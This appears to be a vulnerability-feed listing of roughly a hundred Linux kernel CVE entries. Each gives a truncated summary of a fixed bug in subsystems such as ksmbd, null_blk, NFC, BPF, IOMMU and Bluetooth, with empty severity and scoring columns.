CVE-2026-90161	New						In the Linux kernel, the following vulnerability has been resolved: erofs: fix interlaced ztailpacking pclusters On-disk sizes of interlaced pclusters should be block-aligned, and ztailpacking interlaced pclusters should be invalid at all. Currently, mkfs.erofs won't generate any interlaced pcluster with ztailpacking enabled, so this doesn't affect any existing valid file...
CVE-2026-90162	New						In the Linux kernel, the following vulnerability has been resolved: ksmbd: defer publishing granted locks to prevent UAF/double-free race In smb2_lock(), mid-batch granted locks are published to connection-wide (conn->lock_list) and file-wide (fp->lock_list) lists immediately upon vfs_lock_file() success, while also remaining tracked on the stack-local rollback_list. If a...
CVE-2026-90163	New						In the Linux kernel, the following vulnerability has been resolved: smb/server: call ksmbd_proc_cleanup() on module init failure When a later initializer fails, the unwind chain releases resources created after procs and then jumps directly to class_unregister(). Returning an error from module_init() leaves the proc tree and its per-CPU counters allocated.
CVE-2026-90164	New						In the Linux kernel, the following vulnerability has been resolved: smb/server: abort initialization when proc setup fails ksmbd_server_init() calls ksmbd_proc_init() before creating the remaining proc entries and server subsystems. ksmbd_proc_init() tears down partial state on a procs or percpu_counter allocation failure, but returns void, so ksmbd_server_init() continue...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90165	New						In the Linux kernel, the following vulnerability has been resolved: smb/server: fix invalid pointer dereference in ksmbd_stop_durable_scavenger() See the procedure below: ksmbd_launch_ksmbd_durable_scavenger durable_scavenger_running = true server_conf.dh_task = kthread_run() // fail, dh_task is an ERR_PTR() server_ctrl_handle_reset ksmbd_stop_durable_sca...
CVE-2026-90166	New						In the Linux kernel, the following vulnerability has been resolved: smb/server: fix null-ptr-deref in ksmbd_ipc_tree_connect_request() See the procedure below: ksmbd_tree_conn_connect ksmbd_share_config_get share->name = kstrdup() // fail if (!test_share_config_flag(share, KSMBD_SHARE_FLAG_PIPE)) // false // do not check `share->name` ksmbd_ipc...
CVE-2026-90167	New						In the Linux kernel, the following vulnerability has been resolved: ksmbd: serialize oplock close with pending break ownership close may abort an in-flight oplock break while another breaker already holds an opinfo reference. Releasing pending_break wakes that waiter, but without serializing the close transition with bit acquisition it can become a new break owner through ...
CVE-2026-90168	New						In the Linux kernel, the following vulnerability has been resolved: ksmbd: retain connection for pending notify work Deferred CHANGE_NOTIFY work keeps an async message ID after the original request work is released. A durable handle can outlive its connection, so the connection teardown can destroy its async IDA before the handle close releases the pending notify work. Gi...
CVE-2026-90169	New						In the Linux kernel, the following vulnerability has been resolved: ksmbd: free preauth sessions on connection teardown SMB3.1.1 multichannel binding preserves the preauthentication hash in a preauth_session between the NTLM negotiate and authenticate requests. The binding NTLM negotiate allocates this object and returns STATUS_MORE_PROCESSING_REQUIRED. If the client disco...
CVE-2026-90170	New						In the Linux kernel, the following vulnerability has been resolved: ksmbd: validate ipc response length before dereferencing its fields ipc_validate_msg() computes the expected message size by reading length fields out of the response buffer supplied by the userspace ksmbd daemon (payload_sz, session_key_len, ngroups, ...). Those fields are read before the buffer is verif...
CVE-2026-90171	New						In the Linux kernel, the following vulnerability has been resolved: smb: smbdirect: release pending child sockets outside the handler lock smbdirect_socket_destroy() releases the listener's pending/ready child sockets while still holding the listener's handler lock, the &id_priv->handler_mutex taken via rdma_lock_handler(), not sc->listen.lock, and before the listener's ow...
CVE-2026-90172	New						In the Linux kernel, the following vulnerability has been resolved: smb: smbdirect: destroy QP before mem pools on accept failure On the rdma_accept_failed error path of smbdirect_accept_connect_request(), the receive io posted just above is owned by the QP (recv_io is set to NULL after a successful post). The error path fell through to smbdirect_connection_destroy_mem_po...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90173	New						In the Linux kernel, the following vulnerability has been resolved: smb: smbdirect: free completion queues with ib_free_cq() smbdirect_connection_destroy_qp() creates the send and receive completion queues with ib_alloc_cq_any(), which for IB_POLL_WORKQUEUE arms an internal completion handler that runs ib_cq_poll_work() on a workqueue. Tearing those CQs down with ib_destro...
CVE-2026-90174	New						In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix slab-out-of-bounds read in ksmbd_alloc_user() ksmbd_alloc_user() copies resp->hash_sz bytes out of the mountd IPC login response with user->passkey_sz = resp->hash_sz; user->passkey = kmalloc(resp->hash_sz, KSMBD_DEFAULT_GFP); if (user->passkey) memcpy(user->passkey, resp->hash, resp->hash...
CVE-2026-90175	New						In the Linux kernel, the following vulnerability has been resolved: smb: server: fix leak of ksmbd_ipc_login_request_ext() returned buffer Free it unconditionally after ksmbd_alloc_user() calls. kmemleak splat: unreferenced object 0xffff888103b83540 (size 192): comm "pool-0", pid 16970, jiffies 4377290937 hex dump (first 32 bytes): 00 00 00 00 01 00 00 00 ...
CVE-2026-90176	New						In the Linux kernel, the following vulnerability has been resolved: ksmbd: Do not skip lock checks for single-byte ranges check_lock_range() uses inclusive ranges. Its callers pass the end offset as start + length - 1, so start == end represents a valid single-byte range rather than an empty range. The start == end shortcut therefore skips mandatory byte-range lock checks...
CVE-2026-90177	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Check pointer type for all atomic RMW paths Atomic RMW verification records an instruction pointer type only when the current destination is PTR_TO_ARENA. A second path can therefore reach the same instruction with an ordinary pointer without comparing it against the saved arena type. The post-verifi...
CVE-2026-90178	New						In the Linux kernel, the following vulnerability has been resolved: hwmon: (coretemp) Fix core_data leak on CPUs without PTS pdata->core_data is allocated in init_temp_data() when the first core temp_data of a package is created, but it is only released from destroy_temp_data(), and only in the branch that handles the package temp_data. Package temp_data is created solely...
CVE-2026-90179	New						In the Linux kernel, the following vulnerability has been resolved: apparmor: fix deadlock in complain-mode change_hat The use of change_hat when in complain mode can cause a deadlock when the hat doesn't exist and a new learning profile is created for the missing profile. This is because change_hat() has taken the lock to search the hat list and creating the new learning ...
CVE-2026-90180	New						In the Linux kernel, the following vulnerability has been resolved: block: mtip32xx: synchronize ioctls with device removal The ioctl handlers only test REMOVE_PENDING before entering mtip_hw_ioctl(). Removal can set that bit immediately afterwards and free dd->port in mtip_hw_exit() while an ioctl still dereferences it. An already open block device can reach the handlers ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90181	New						In the Linux kernel, the following vulnerability has been resolved: ublk: avoid teardown retry loop on xarray allocation failure __ublk_shmem_remove_ranges() removes matching maple tree ranges in batches, but first stores each range into a temporary xarray so that the pages can be unpinned after dropping the maple tree lock. That temporary xarray is filled under the maple...
CVE-2026-90182	New						In the Linux kernel, the following vulnerability has been resolved: blk-iocost: clear delay state when freeing policy data iocg_kick_delay() turns sufficiently large debt into an explicit block-cgroup delay with blkcg_set_delay(), setting blkcg->use_delay to -1 and incrementing blkcg->congestion_count. Clearing it again depends on iocg_kick_delay() running from the period ...
CVE-2026-90183	New						In the Linux kernel, the following vulnerability has been resolved: blk-iotatency: clear delay state when freeing policy data io.latency can throttle a group which has no latency target of its own. When a sibling misses its target, check_scale_change() scales down its peers, and a peer that reaches queue depth one gets blkcg_use_delay() called on it on every further scale-...
CVE-2026-90184	New						In the Linux kernel, the following vulnerability has been resolved: null_blk: serialize configs attribute updates with device setup The attribute store methods generated with NULLB_DEVICE_ATTR() refuse to change the configuration of a live device by testing NULLB_DEV_FL_CONFIGURED, but that flag is only set by nullb_device_power_store() after null_add_dev() has returned, ...
CVE-2026-90185	New						In the Linux kernel, the following vulnerability has been resolved: null_blk: serialize configs attribute stores with the lock The NULLB_DEVICE_ATTR_store takes no lock: apply_fn attributes (submit_queues, poll_queues) get dev->NAME written again after apply_fn returns, outside its lock; APPLY=NULL attributes are entirely lockless. configs only serializes stores per-ope...
CVE-2026-90186	New						In the Linux kernel, the following vulnerability has been resolved: null_blk: reject per-device queue resize for shared tag set When shared_tags is enabled, null_setup_tagset() makes the device use the global tag_set, whose driver_data stays NULL. null_map_queues() therefore falls back to the module-wide g_submit_queues/g_poll_queues instead of any per-device value. Resiz...
CVE-2026-90187	New						In the Linux kernel, the following vulnerability has been resolved: null_blk: free zones array on device power-off null_init_zoned_dev() allocates dev->zones when a zoned device is powered on, but null_del_dev() never frees it on power-off; dev->zones is only freed later in null_free_dev(), when the configs directory is removed. If the device is powered off and then on ag...
CVE-2026-90188	New						In the Linux kernel, the following vulnerability has been resolved: null_blk: free global tag_set on init error path If shared_tags is enabled, null_setup_tagset() allocates the global tag_set via null_init_global_tag_set(). If device creation later fails, err_dev destroys the default devices and calls unregister_blkdev(), but never frees the global tag_set. Since module i...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90189	New						In the Linux kernel, the following vulnerability has been resolved: null_blk: register configs subsystem after creating default devices In null_init(), configs_register_subsystem() currently runs before register_blkdev(), so when null_blk is built as a module, a racing mkdir() + poweron from userspace can reach null_add_dev() while null_major is still 0. __add_disk() the...
CVE-2026-90190	New						In the Linux kernel, the following vulnerability has been resolved: null_blk: use DEFINE_MUTEX for the file-scope mutex In null_init(), mutex_init(&lock) currently happens after configs_register_subsystem(), which exposes the nullb subsystem to userspace. A racing mkdir() into /sys/kernel/config/nullb/ can reach null_find_dev_by_name() -> mutex_lock(&lock) before the mute...
CVE-2026-90191	New						In the Linux kernel, the following vulnerability has been resolved: mailbox: riscv-sbi-mpxy: validate RPMI notification lengths The SBI return value controls how many bytes are copied from shared memory into the RPMI notification buffer. It is not validated against the negotiated shared-memory size before that copy. The event walker also uses a reversed loop condition and ...
CVE-2026-90192	New						In the Linux kernel, the following vulnerability has been resolved: mailbox: qcom-cpucp: handle NULL data in send_data callback mailbox_clear_channel() calls mbox_send_message() with NULL data to notify the remote side that the RX channel has been cleared. qcom_cpucp_mbox_send_data() blindly dereferenced the data pointer, causing a NULL pointer dereference kernel panic whe...
CVE-2026-90193	New						In the Linux kernel, the following vulnerability has been resolved: mailbox: qcom-cpucp: fix PREEMPT_RT self-deadlock in IRQ handler qcom_cpucp_mbox_irq_fn() calls mbox_chan_received_data() while holding chan->lock. Under PREEMPT_RT, spin_lock_irqsave() is converted to an rt_spinlock (rtmutex-based), which tracks ownership and can sleep. The callback chain triggered by mb...
CVE-2026-90194	New						In the Linux kernel, the following vulnerability has been resolved: ACPI: scan: fix bus ID cleanup on device_add() failures When device_add() fails after acpi_device_set_name() has allocated an instance ID and a new acpi_device_bus_id has been linked into acpi_bus_id_list, the rollback path only removes wakeup_list and detaches the ACPI handle data. That leaves the bus-ID...
CVE-2026-90195	New						In the Linux kernel, the following vulnerability has been resolved: riscv, bpf: Fix missing sign-ext for signed 1-byte and 2-byte kfunc args On RV64, the ABI requires sign-extension for signed 1-byte and 2-byte kfunc args. However, the RV64 JIT currently does not perform sign-extension for such kfunc args. Before commit 7ce090afb72 ("bpf: Infer zext_dst based on static r...
CVE-2026-90196	New						In the Linux kernel, the following vulnerability has been resolved: ASoC: SOF: validate topology volume range before allocation SOF treats the topology mixer min and max values as non-negative indices into its volume table. It stores them in signed fields, allocates max + 1 entries through an int argument, and later indexes the table with the stored range. An inverted ran...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90197	New						In the Linux kernel, the following vulnerability has been resolved: HID: haptic: don't write an uninitialized value to unhandled usages fill_effect_buf() initializes value only for the four haptic usages handled by its switch, but writes it to field->value[] for every usage. An unhandled usage can therefore receive either an uninitialized value or one left over from the pr...
CVE-2026-90198	New						In the Linux kernel, the following vulnerability has been resolved: ALSA: core: Fix use-after-free in snd_card_do_free() A use-after-free was detected in snd_card_do_free() when a sound card managed by devres is unbound while a user-space application still holds an open file descriptor. For managed cards, the memory is allocated using devres_alloc(), and its release funct...
CVE-2026-90199	New						In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: reject out-of-range evcn in mi_enum_attr() In mi_enum_attr(), the start/end VCN validation for non-resident attributes is: if (svcn > evcn + 1) goto out; When evcn is U64_MAX the "evcn + 1" expression wraps to 0 and any svcn passes the check. For evcn values close to U64_MAX (but not equal to ...
CVE-2026-90200	New						In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: fix integer overflow in MFT cluster validation In ntfs_init_from_boot(), the boot sector's MFT cluster numbers are validated against the volume size with: if (mlcn * sct_per_clst >= sectors mlcn2 * sct_per_clst >= sectors) goto out; mlcn and mlcn2 are u64 fields read directly from t...
CVE-2026-90201	New						In the Linux kernel, the following vulnerability has been resolved: net: page_pool: fix UAF in __page_pool_release_netmem_dma on xa_cmpxchg race This bug was discovered while testing the hns3 driver under channel reconfiguration (`ethtool -L` / `ethtool -G`) with iperf3 traffic on arm64. The race is intermittently triggered when page_pool_destroy() runs page_pool_scrub() c...
CVE-2026-90202	New						In the Linux kernel, the following vulnerability has been resolved: scsi: mpt3sas: Avoid freeing unallocated PCIe SGL buffers _base_release_memory_pools() unconditionally frees every ioc->pcie_sg_lookup[] entry, including ones the setup loop never allocated after a partial failure, causing a "bad dma" warning on debug kernels or a NULL pointer dereference otherwise.
CVE-2026-90203	New						In the Linux kernel, the following vulnerability has been resolved: Squashfs: check block offset is not negative If a negative offset is read off disk (for example the offset into the decompressed fragment block), this will cause squashfs_copy_data() to perform an out of bounds access. Fix by checking if offset is negative, and returning 0. This matches existing behaviou...
CVE-2026-90204	New						In the Linux kernel, the following vulnerability has been resolved: ocfs2: validate DIO orphan slot during inode read [BUG] A corrupted append-DIO dinode (high byte at offset 0xa1 corrupted from 0 to 1) can carry an i_dio_orphaned_slot outside the mounted filesystem slot range and trigger a use-after-free error: BUG: KASAN: slab-use-after-free in ocfs2_get_system_file_ino...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90205	New						In the Linux kernel, the following vulnerability has been resolved: ocfs2: validate orphan slot during inode read Patch series "ocfs2: validate active orphan slots during inode read". OCFS2 trusts active ordinary and append-DIO orphan slots read from dinodes. A corrupted slot can therefore index osb_orphan_wipes or the slot-local system-inode cache outside their allocatio...
CVE-2026-90206	New						In the Linux kernel, the following vulnerability has been resolved: nvmet: fix max_qid race between configfs and controller allocation The function nvmet_subsys_attr_qid_max_store() can race against nvmet_alloc_ctrl() when a subsystem's max_qid limit is modified. Suppose max_qid is currently 64. If nvmet_alloc_ctrl() executes: ctrl->sqs = kzalloc_objs(struct nvmet_sq *, s...
CVE-2026-90207	New						In the Linux kernel, the following vulnerability has been resolved: ALSA: seq: midi: Serialize input teardown with event_input_snd_midi_input_event() must not be running while a rawmidi substream is closing, since this can lead to the trigger state becoming out-of-step through this sequence in snd_rawmidi_input_trigger(): snd_rawmidi_input_trigger(up=0) snd_midi_inp...
CVE-2026-90208	New						In the Linux kernel, the following vulnerability has been resolved: clocksource/drivers/samsung_pwm: Switch to raw_spinlock_t type Samsung PWM timer might be used as a clock source on some legacy systems. When PREEMPT_RT is enabled on ARM, regular spinlock is converted to a sleeping lock (mutex-based), which must not be used in atomic context such as hard interrupt handler...
CVE-2026-90209	New						In the Linux kernel, the following vulnerability has been resolved: s390/debug: Fix deadlock during unregister Unregistering an s390dbf debug area while one of the associated debugfs files is being written to can cause a deadlock: \$ echo >.../vmur/level \$ rmmod vmur ===== debugfs write debugfs_file_get() ...
CVE-2026-90210	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Fix UAF in bpf_trampoline_multi_attach_free on update failure When bpf_trampoline_update() fails before modify_fentry_multi()/unregister_fentry_multi() is called, cur_image is unchanged (cur_image == old_image) and ftrace still calls into it. Freeing old_image in that case causes a UAF. Only free o...
CVE-2026-90211	New						In the Linux kernel, the following vulnerability has been resolved: bpf, s390: Clear fetch destination on faulting arena atomic Same missing register clear as on riscv64. A RMW atomic on an arena pointer is converted to BPF_PROBE_ATOMIC and gets an exception table entry, but bpf_jit_probe_atomic_pre() only fills in the arena base and the probe offset, leaving probe->reg at...
CVE-2026-90212	New						In the Linux kernel, the following vulnerability has been resolved: arm64/efi: Avoid voluntary preemption with efi_mm installed Gus reports a bad kernel memory access when using software PAN (CONFIG_ARM64_SW_TTBR0_PAN=y) on a machine with support for EFI runtime services: Unable to handle kernel access to user memory outside uaccess routines at virtual address 00000...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90213	New						In the Linux kernel, the following vulnerability has been resolved: firewire: core: fix memory leak in error path of build_tree() In the error path of build_tree(), node instances can remain in the local linked list when the function returns. Whenever an invalid value is detected in the self ID sequence, each allocated node instance is either an entry in the linked list o...
CVE-2026-90214	New						In the Linux kernel, the following vulnerability has been resolved: ASoC: xilinx: formatter_pcm: fix stream_data leak on open error In xlnx_formatter_pcm_open(), stream_data is allocated and adata->play_stream or adata->capture_stream is assigned early. If a later step, such as snd_pcm_hw_constraint_step() or snd_pcm_hw_constraint_integer(), fails, the function returns th...
CVE-2026-90215	New						In the Linux kernel, the following vulnerability has been resolved: mtd: ubi: Release device reference on busy detach ubi_detach_mtd_dev() obtains a device reference through ubi_get_device() before checking whether the UBI device is busy. The busy return path drops ubi->ref_count but leaves the device reference held, so the device object cannot be released after a later de...
CVE-2026-90216	New						In the Linux kernel, the following vulnerability has been resolved: ubi: Fix rollback for explicit UBI device numbers ubi_init_attach() rolls back module initialization failures by scanning ubi_devices[0..i-1], where i is the mtd= parameter index. That assumes the parameter index matches the UBI device number. That assumption is not true when mtd= specifies an explicit ub...
CVE-2026-90217	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Compare iterator types during state pruning An iterator stack slot can be MEM_RCU or PTR_UNTRUSTED. These states must not be equal, or the verifier can prune an unsafe path. Compare the pointer type for STACK_ITER slots.
CVE-2026-90218	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/cma: Fix WARNING in res_to_rt syzbot reported a WARN_ON(!res->dev) in res_to_rt() triggered via addr_handler() during asynchronous address resolution: " WARNING: drivers/infiniband/core/restrack.c:138 at res_to_rt+0x1c4/0x230 CPU#1: kworker/u8:4/59 Modules linked in: CPU: 1 UID: 0 PID: 59 Comm: kwork...
CVE-2026-90219	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/cxgb4: Free debugfs on registration failure c4iw_alloc() creates the per-device debugfs tree (dev->debugfs_root via setup_debugfs()), but it is removed only in c4iw_remove(), not in c4iw_dealloc(). When RDMA device registration fails, the registration worker's err_dealloc_ctx path calls c4iw_dealloc(...
CVE-2026-90220	New						In the Linux kernel, the following vulnerability has been resolved: ALSA: seq: Don't leak the extension cell pointer in the bounce payload The bounce_error_event() embeds the failed event in the bounce payload by pointing data.ext.ptr at it. When that event is a queued variable-length event, its own data.ext.ptr holds the address of its first extension cell, put there by ...
CVE-2026-90221	New						In the Linux kernel, the following vulnerability has been resolved: nfc: nci: fix use of uninitialized memory in CORE_INIT_RSP parsing nci_core_init_rsp_packet_v1() and nci_core_init_rsp_packet_v2() parse the CORE_INIT_RSP packet without validating that the skb contains enough data. A malformed response (e.g. injected via virtual_ncidev) can declare a large num_supported_r...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90222	New						In the Linux kernel, the following vulnerability has been resolved: nfc: pn533: hold a reference to the request skb during send_frame __pn533_send_async() publishes the command and then calls dev->phy_ops->send_frame(). Once dev->cmd is set, an incoming frame can be matched to this command: the I2C threaded IRQ runs pn533_rcv_frame(), which queues cmd_complete_work, and p...
CVE-2026-90223	New						In the Linux kernel, the following vulnerability has been resolved: nfc: llcp: bound SNL TLV parsing to the skb and add length checks nfc_llcp_rcv_snli() walked the SNL TLV list using a u16 offset/length pair derived from skb->len, without bounding reads to the actual skb data. Three problems followed: - For a short frame (skb->len < LLCP_HEADER_SIZE), tlv_len underflow...
CVE-2026-90224	New						In the Linux kernel, the following vulnerability has been resolved: nfc: nci: fix double completion race in nci_data_exchange_complete nci_close_device() and nci_rx_work can both call nci_data_exchange_complete() concurrently. After commit 4527025d440ce8 ("nfc: nci: fix circular locking dependency in nci_close_device") moved flush_workqueue(ndev->rx_wq) after mutex_unlock...
CVE-2026-90225	New						In the Linux kernel, the following vulnerability has been resolved: nfc: llcp: read llcp_sock->local under the socket lock in getsockopt nfc_llcp_getsockopt() read llcp_sock->local before lock_sock(sk) and then dereferenced the cached pointer inside the locked region. llcp_sock_bind() assigns and clears llcp_sock->local under the same socket lock, dropping the last referen...
CVE-2026-90226	New						In the Linux kernel, the following vulnerability has been resolved: nfc: llcp: avoid userspace overflow on invalid optlen nfc_llcp_getsockopt() casts optval to (u32 __user *) for put_user(), so the kernel always stores 4 bytes regardless of the caller-supplied optlen. The existing min_t(u32, len, sizeof(u32)) only clamps the length reported back to userspace; it does not c...
CVE-2026-90227	New						In the Linux kernel, the following vulnerability has been resolved: nvme/ioctl: check SUBMIT_IO with nvme_cmd_allowed() Unlike IO_CMD / IO64_CMD, NVME_IOCTL_SUBMIT_IO never calls nvme_cmd_allowed(). Unprivileged callers can thus issue I/O on a partition device or write through a read-only file descriptor. Pass flags and open_for_write through and reject disallowed command...
CVE-2026-90228	New						In the Linux kernel, the following vulnerability has been resolved: nvmet: fix NULL pointer dereference in nvmet_execute_identify_ns_zns() When a host issues an Identify command with CNS 05h (I/O Command Set specific Identify Namespace) and CSI 02h (ZNS) targeting a file-backed namespace, nvmet_execute_identify_ns_zns() calls bdev_is_zoned() on req->ns->bdev. A file-backed...
CVE-2026-90229	New						In the Linux kernel, the following vulnerability has been resolved: nvme-apple: Destroy the admin queue on removal The admin queue is allocated with blk_mq_alloc_queue() but never destroyed. nvme_free_ctrl() only drops the last reference and blk_mq_exit_queue() and blk_sync_queue() never run: the hctx is never moved to q->unused_hctx_list and the timeout timer and work sta...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90230	New						In the Linux kernel, the following vulnerability has been resolved: nvmet: fix heap out-of-bounds read in nvmet_auth_negotiate() nvmet_execute_auth_send() allocates the DH-HMAC-CHAP message buffer with the host-supplied transfer length (tl) and hands it to nvmet_auth_negotiate() without passing tl along. nvmet_auth_negotiate() then reads the negotiate header and, for each ...
CVE-2026-90231	New						In the Linux kernel, the following vulnerability has been resolved: apparmor: fix unconfined user namespace restriction forced stack If a task is already confined by a stack the unprivileged transition restriction on unconfined is not correctly, applied. This results in an escape if two transitions through an unconfined profile can be executed. Fix this by pushing the che...
CVE-2026-90232	New						In the Linux kernel, the following vulnerability has been resolved: amt: Don't support cross-netns setup. When a lower device is unregistered, amt_device_event() tries to unregister its upper AMT device, but it has two problems. 1. amt_lookup_upper_dev() looks up an upper device in the lower device's netns only 2. amt_device_event() unregisters a single upper d...
CVE-2026-90233	New						In the Linux kernel, the following vulnerability has been resolved: nvme-pci: release descriptor pools on probe failure The per-NUMA-node descriptor DMA pools are created lazily from nvme_init_hctx_common() once the admin tag set is allocated, but they are only destroyed in nvme_remove() via nvme_release_descriptor_pools(). Any probe failure after the admin tag set has bee...
CVE-2026-90234	New						In the Linux kernel, the following vulnerability has been resolved: NFS: Return a delegation the client fails to record When an NFS server grants a delegation in an OPEN reply, nfs_inode_set_delegation() records it on the client. However, three of its error flows return without sending DELEGRETURN. A delegation can be relinquished only by DELEGRETURN (RFC 8881 Section 20....
CVE-2026-90235	New						In the Linux kernel, the following vulnerability has been resolved: sunrpc: xpsock: annotate shared socket callbacks with READ_ONCE/WRITE_ONCE xpsock replaces and restores sk->sk_data_ready and sk->sk_write_space on live sockets with plain stores, and xs_udp_do_set_buffer_size() invokes sk->sk_write_space via a plain load. These callback pointers are shared with generi...
CVE-2026-90236	New						In the Linux kernel, the following vulnerability has been resolved: NFSD: Release the export reference when reaping open stateids nfs4_put_stid() releases the svc_export tracked in nfs4_stid.sc_export, but free_ol_stateid_reaplist() frees open and lock stateids by calling ->sc_free() directly, bypassing that path. An open stateid takes an sc_export reference in nfs4_open()...
CVE-2026-90237	New						In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_ct: move custom expectation support to helper Originally, the ct expectation support called nf_ct_helper_ext_add() for confirmed conntracks, which is invalid, triggering a splat. This was fixed by commit 1710eb913bdc ("netfilter: nft_ct: skip expectations for confirmed conntrack") which rest...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90238	New						In the Linux kernel, the following vulnerability has been resolved: media: amd: isp4: fix self-deadlock in isp4sd_pwron_and_init() error path isp4sd_pwron_and_init() holds ops_mutex via guard(mutex) and, on any init failure, jumps to err_deinit and calls isp4sd_pwroff_and_deinit(). That helper takes the same ops_mutex, re-acquiring a non-recursive mutex already held by the...
CVE-2026-90239	New						In the Linux kernel, the following vulnerability has been resolved: media: amd: isp4: release partial allocations in isp4if_alloc_fw_gpumem() isp4if_alloc_fw_gpumem() allocates several GPU memory pools in sequence. If one of them fails, it jumps to error_no_memory and returns -ENOMEM without releasing the pools that were already allocated, leaking them. Release the ahead...
CVE-2026-90240	New						In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Flush context cache with correct SID when tearing down aliases domain_context_clear_one() and device_pasid_table_tear_down() are both invoked once per DMA alias of a device. Each function locates the context entry using the bus/devfn pair provided by the pci_for_each_dma_alias() callback, then c...
CVE-2026-90241	New						In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Tear down scalable-mode context on probe failure intel_pasid_setup_sm_context() walks a PCI device's DMA aliases via pci_for_each_dma_alias() and programs a scalable-mode context entry for each RID. For a device with a dma_alias_mask, the callback is invoked once for the device's own RID and on...
CVE-2026-90242	New						In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Fix iopf_refcount leak on RID domain replacement intel_iommu_attach_device() enables IOPF for the new domain but never disables it for the old one. device_block_translation(), called at the start of the function, tears down translation but does not touch any IOPF state; blocking_domain_attach_...
CVE-2026-90243	New						In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Clear Present bit before tearing down copied context entry copied_context_tear_down() zeroes the 128-bit context entry with context_clear_entry() while the Present bit is still set, and only then issues the context-cache and IOTLB invalidations. This leaves a window in which hardware can fetch...
CVE-2026-90244	New						In the Linux kernel, the following vulnerability has been resolved: iommu/dma: Restore locking around msi_page_list Unlike a group's default domain, which is always freshly allocated and privately owned (iommu_group_alloc_default_domain()), VFIO type1's legacy container merges any newly attached group into an existing domain whenever their iommu_ops and cache-coherency enf...
CVE-2026-90245	New						In the Linux kernel, the following vulnerability has been resolved: fbdev: kyro: Validate overlay viewport coordinates The overlay viewport end coordinates are computed from the viewport origin and dimensions using 32-bit unsigned arithmetic. Large input values can cause these calculations to wrap around before the resulting coordinates are passed to SetOverlayViewPort(). ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90246	New						In the Linux kernel, the following vulnerability has been resolved: apparmor: fix integer overflow in verify_tags() bounds check verify_tags() validates the tagset table unpacked from a policy blob. For each set it reads a count and checks that advancing the index by that count stays inside sets.table[]: u32 cnt = tags->sets.table[i]; if (i+cnt >= tags->sets.size) { i...
CVE-2026-90247	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Fix mmap_lock leak in irq_work path stack_map_get_build_id_offset() introduced a per-CPU irq_work to defer mmap_read_unlock() from NMI context, and bpf_find_vma() later reused the same mmap_unlock_work. Both callers only check whether the work is busy before taking mmap_lock, so a nested caller can re...
CVE-2026-90248	New						In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_api: fix teardown of an adopted proto on insert-race loss In tc_new_tfilter() the create branch sets tp_created = 1 before calling tcf_chain_tp_insert_unique(). When the caller loses the race (another request inserted a proto at the same chain/prio first), insert_unique() destroys the caller...
CVE-2026-90249	New						In the Linux kernel, the following vulnerability has been resolved: iio: light: gp2ap002: Fix unbalanced runtime PM on repeated event writes The IIO core does not filter duplicate writes to the event enable attribute, so writing the same value twice invokes write_event_config() twice. Enabling twice leaks a runtime PM reference, preventing the device from ever suspending a...
CVE-2026-90250	New						In the Linux kernel, the following vulnerability has been resolved: bpf, cgroup: Fix storage null-ptr-deref after replacing prog Syzkaller reported a storage null-ptr-deref issue after replacing prog. This occurs in the following scenario: 1. prog A, an empty prog, is attached to a cgrp. 2. prog B uses BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE and calls the bpf_get_local_stora...
CVE-2026-90251	New						In the Linux kernel, the following vulnerability has been resolved: Bluetooth: MSFT: validate evt_prefix_len against the response length read_supported_features() only checks that the response covers the fixed part of struct msft_rp_read_supported_features, which is 11 bytes: if (skb->len < sizeof(*rp)) { bt_dev_err(hdev, "MSFT supported features length mismatch"); g...
CVE-2026-90252	New						In the Linux kernel, the following vulnerability has been resolved: Bluetooth: MGMT: free the HCI command when it is cancelled mgmt_hci_cmd_sync() queues the pending command with a NULL destroy callback, so it is only freed if send_hci_cmd_sync() runs. A cancelled entry is leaked, as _hci_cmd_sync_cancel_entry() does not release entry->data when there is no destroy callbac...
CVE-2026-90253	New						In the Linux kernel, the following vulnerability has been resolved: Bluetooth: MGMT: free the mesh send cancel command when it is cancelled mesh_send_cancel() queues the pending command with a NULL destroy callback, so it is only freed if send_cancel() runs. A cancelled entry is leaked, as _hci_cmd_sync_cancel_entry() does not release entry->data when there is no destroy c...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90254	New						In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_sync: free the advertising instance on the failure and cancel paths adv_timeout_expire() hands a kcalloc()ed instance byte to hci_cmd_sync_queue() with a NULL destroy callback, and only adv_timeout_expire_sync() frees it. That leaks on two paths: - the return value is not checked, and hci_...
CVE-2026-90255	New						In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_conn: fix the SCO setup context lifetime hci_setup_sync() queues a conn_handle_t with a NULL destroy callback, so the context is only freed if hci_enhanced_setup_sync() actually runs. An entry that is cancelled instead is leaked, as _hci_cmd_sync_cancel_entry() does not release entry->data w...
